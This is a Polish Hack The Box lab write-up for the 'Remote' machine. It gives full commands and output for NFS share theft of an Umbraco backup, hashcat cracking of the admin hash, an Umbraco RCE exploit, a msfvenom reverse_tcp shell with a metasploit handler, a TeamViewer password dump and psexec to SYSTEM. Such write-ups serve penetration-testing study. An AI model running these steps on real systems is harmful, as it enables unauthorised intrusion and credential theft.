[HTB] Remote

Rekonesans & punkt zaczepienia

Jak zwykle enumerację zacząłem od przeskanowania maszyny w poszukiwaniu otwartych portów:

sudo nmap -sV -A -p- -v -n -Pn 10.10.10.180

Wynik:

Nmap scan report for 10.10.10.180
Host is up (0.041s latency).
Not shown: 65519 closed ports
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC

Na podstawie wyniku, można stwierdzić, że na maszyna pełni rolę serwera webowego oraz znajdują się na niej takie usługi jak FTP, SMB oraz NFS. Wynik nmapa pokazał nam także, że jest dozwolony anonimowy login na serwerze FTP. Niezwłocznie to sprawdziłem:

$ ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:mateusz): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> pwd
257 "/" is current directory.

Zalogowałem się credentialami anonymous/anonymous, jednakże na serwerze nie znalazłem żadnych plików.

Przeszedłem do serwera webowego:

Przeszukałem dostępne ścieżki narzędziem gobuster:

$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.180 -s 200,301,302
==============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
==============================================================
[+] Url:            http://10.10.10.180
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
==============================================================
2020/09/10 12:14:13 Starting gobuster
==============================================================
/about-us (Status: 200)
/blog (Status: 200)
/Blog (Status: 200)
/contact (Status: 200)
/Contact (Status: 200)
/Home (Status: 200)
/home (Status: 200)
/install (Status: 302)
/intranet (Status: 200)
/People (Status: 200)
/people (Status: 200)
/person (Status: 200)
/products (Status: 200)
/Products (Status: 200)
/umbraco (Status: 200)
==============================================================
2020/09/10 12:15:29 Finished
==============================================================

Moją uwagę przykuła ścieżka /umbraco. Przeszedłem na nią:

Mamy do czynienia z CMSem Umbraco. Niestety próby logowania powszechnie znanymi credentialami zakończyły się niepowodzeniem.

Postanowiłem przejść do enumeracji NFS. Udziały dostępne w Network File System (NFS) można wyenumerować za pomocą narzędzia showmount.

Na początku zainstalowałem:

sudo apt install nfs-common

A następnie użyłem showmount:

$ sudo showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

Folder site_backups jest dostępny dla wszystkich. Podmontowałem go na swojej maszynie w następujący sposób:

$ mkdir backups
$ sudo mount -t nfs 10.10.10.180:/site_backups backups
$ cd backups/
$ ls -l
razem 115
drwx------ 2 nobody 4294967294 64 lut 20 2020 App_Browsers
drwx------ 2 nobody 4294967294 4096 lut 20 2020 App_Data
drwx------ 2 nobody 4294967294 4096 lut 20 2020 App_Plugins
drwx------ 2 nobody 4294967294 64 lut 20 2020 aspnet_client
drwx------ 2 nobody 4294967294 49152 lut 20 2020 bin
drwx------ 2 nobody 4294967294 8192 lut 20 2020 Config
drwx------ 2 nobody 4294967294 64 lut 20 2020 css
-rwx------ 1 nobody 4294967294 152 lis 1 2018 default.aspx
-rwx------ 1 nobody 4294967294 89 lis 1 2018 Global.asax
drwx------ 2 nobody 4294967294 4096 lut 20 2020 Media
drwx------ 2 nobody 4294967294 64 lut 20 2020 scripts
drwx------ 2 nobody 4294967294 8192 lut 20 2020 Umbraco
drwx------ 2 nobody 4294967294 4096 lut 20 2020 Umbraco_Client
drwx------ 2 nobody 4294967294 4096 lut 20 2020 Views
-rwx------ 1 nobody 4294967294 28539 lut 20 2020 Web.config

Prawdopodobnie jest to backup Umbraco. W internecie znalazłem informację, że credentiale są przechowywane w pliku Umbraco.sdf.

Znalazłem hash hasła do konta admin:

$ find . -type f -name Umbraco.sdf
./App_Data/Umbraco.sdf
$ file App_Data/Umbraco.sdf
App_Data/Umbraco.sdf: data
$ strings App_Data/Umbraco.sdf | grep admin
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
User "admin"<admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change

Dostałem również cenną informację, że jest to hash typu SHA-1. Zapisałem hash do pliku. Aby skrakować hash, użyłem hashcata:

$ hashcat -a 0 -m 100 hash /usr/share/wordlists/rockyou.txt --force

Wynik:

b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA1
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa
Time.Started.....: Thu Sep 10 12:45:06 2020, (3 secs)
Time.Estimated...: Thu Sep 10 12:45:09 2020, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3160.8 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9826304/14344385 (68.50%)
Rejected.........: 0/9826304 (0.00%)
Restore.Point....: 9822208/14344385 (68.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: badboi56 -> bacano1106

W taki oto sposób pozyskałem dane logowania: admin/baconandcheese. Zalogowałem się do panelu (admin@htb.local/baconandcheese):

Pozyskane credentiale są prawidłowe.

Uzyskanie uprawnień użytkownika

Na githubie znalazłem exploit, który umożliwił mi zdalne wykonanie kodu. Użyłem exploita w następujący sposób:

$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c whoami
iis apppool\defaultapppool

Powyższe jest potwierdzeniem, że mam możliwość zdalnego wykonywania kodu.

Za pomocą Remote Code Execution odczytałem flagę usera:

$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-NoProfile -Command cat ../../../Users/Public/user.txt'
baea0c..............56d686aa8d8d

Ciągle jednak nie miałem reverse shella. Uzyskałem go w następujący sposób:

Generacja payloadu:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

Wgranie payloadu na portal:

Ustawienie nasłuchu (wykorzystując narzędzie metasploit):

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.14.24
lhost => 10.10.14.24
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.14.24:4444 

Odwołanie się do payloadu wykorzystując wcześniejszy exploit:

$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-NoProfile -Command ../../../inetpub/wwwroot/Media/1033/shell.exe'

Po chwili otrzymujemy połącznie zwrotne:

msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 10.10.14.24:4444 
[*] Sending stage (176195 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.24:4444 -> 10.10.10.180:50008) at 2020-09-10 13:24:58 +0200

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

W taki oto sposób uzyskałem reverse shella z uprawnieniami użytkownika.

Uzyskanie uprawnień Administratora

Następnym moim krokiem była enumeracja maszyny w poszukiwaniu możliwej luki do przeprowadzenia eskalacji uprawnień:

meterpreter > sysinfo
Computer        : REMOTE
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Na powyższym obrazku zauważyłem, że mam niezgodność procesów. Przeprowadziłem migrację procesów, aby Meterpreter był procesem 64-bitowym:

meterpreter > ps | grep shell.exe
Filtering on 'shell.exe'

Process List
============

 PID    PPID  Name            Arch  Session  User                        Path
 ---    ----  ----            ----  -------  ----                        ----
 1096   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2112   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 3284   1096  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 3944   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 4480   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 4700   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 8948   4288  powershell.exe  x64   0        IIS APPPOOL\DefaultAppPool  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 10452  9940  shell.exe       x86   0        IIS APPPOOL\DefaultAppPool  C:\inetpub\wwwroot\Media\1033\shell.exe
meterpreter > migrate 8948 10452
[*] Migrating from 9840 to 8948...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : REMOTE
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Po udanej migracji procesów, zacząłem eksplorować maszynę. Okazało się, że na maszynie jest zainstalowany Team Viewer:

meterpreter > cd 'Program Files (x86)'
meterpreter > ls
Listing: c:\Program Files (x86)
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Common Files
40777/rwxrwxrwx   4096  dir   2018-09-15 09:19:00 +0200  Internet Explorer
40777/rwxrwxrwx   0     dir   2020-02-19 21:11:33 +0100  MSBuild
40777/rwxrwxrwx   4096  dir   2020-02-19 21:32:55 +0100  Microsoft SQL Server
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Microsoft.NET
40777/rwxrwxrwx   0     dir   2020-02-19 21:11:33 +0100  Reference Assemblies
40777/rwxrwxrwx   0     dir   2020-02-20 08:14:58 +0100  TeamViewer
40777/rwxrwxrwx   4096  dir   2018-09-15 09:19:00 +0200  Windows Defender
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Windows Mail
40777/rwxrwxrwx   4096  dir   2018-09-15 11:06:10 +0200  Windows Media Player
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Windows Multimedia Platform
40777/rwxrwxrwx   4096  dir   2018-09-15 09:19:00 +0200  Windows Photo Viewer
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Windows Portable Devices
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  Windows Sidebar
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  WindowsPowerShell
100666/rw-rw-rw-  174   fil   2018-09-15 09:16:48 +0200  desktop.ini
40777/rwxrwxrwx   0     dir   2018-09-15 09:19:00 +0200  windows nt

Bardzo cenna informacja. Wymusiłem aby sesja działała w tle i skupiłem swoje poszukiwania na znalezieniu odpowiedniego exploita na TeamViewera:

meterpreter > background 
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > search team viewer

Wynik:

   92  post/windows/gather/credentials/teamviewer_passwords                              normal     No     Windows Gather TeamViewer Passwords

Uzyłem wyszukanego exploita:

msf5 exploit(multi/handler) > use 92
msf5 post(windows/gather/credentials/teamviewer_passwords) > options

Module options (post/windows/gather/credentials/teamviewer_passwords):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION                        yes       The session to run this module on.
   WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer

msf5 post(windows/gather/credentials/teamviewer_passwords) > set session 2
session => 2
msf5 post(windows/gather/credentials/teamviewer_passwords) > run

[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!

Znalazłem hasło. Wypróbujmy je używając skrypt (psexec) z pakietu Impacket, który umożliwi nam zalogowanie się na maszynie jako Administrator:

$ sudo python3 psexec.py administrator@10.10.10.180
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file pNEivKgb.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service uyWy on 10.10.10.180.....
[*] Starting service uyWy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv6 Address. . . . . . . . . . . : dead:beef::d817:e1bf:e7d3:19fa
   Link-local IPv6 Address . . . . . : fe80::d817:e1bf:e7d3:19fa%13
   IPv4 Address. . . . . . . . . . . : 10.10.10.180
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:647%13
                                       10.10.10.2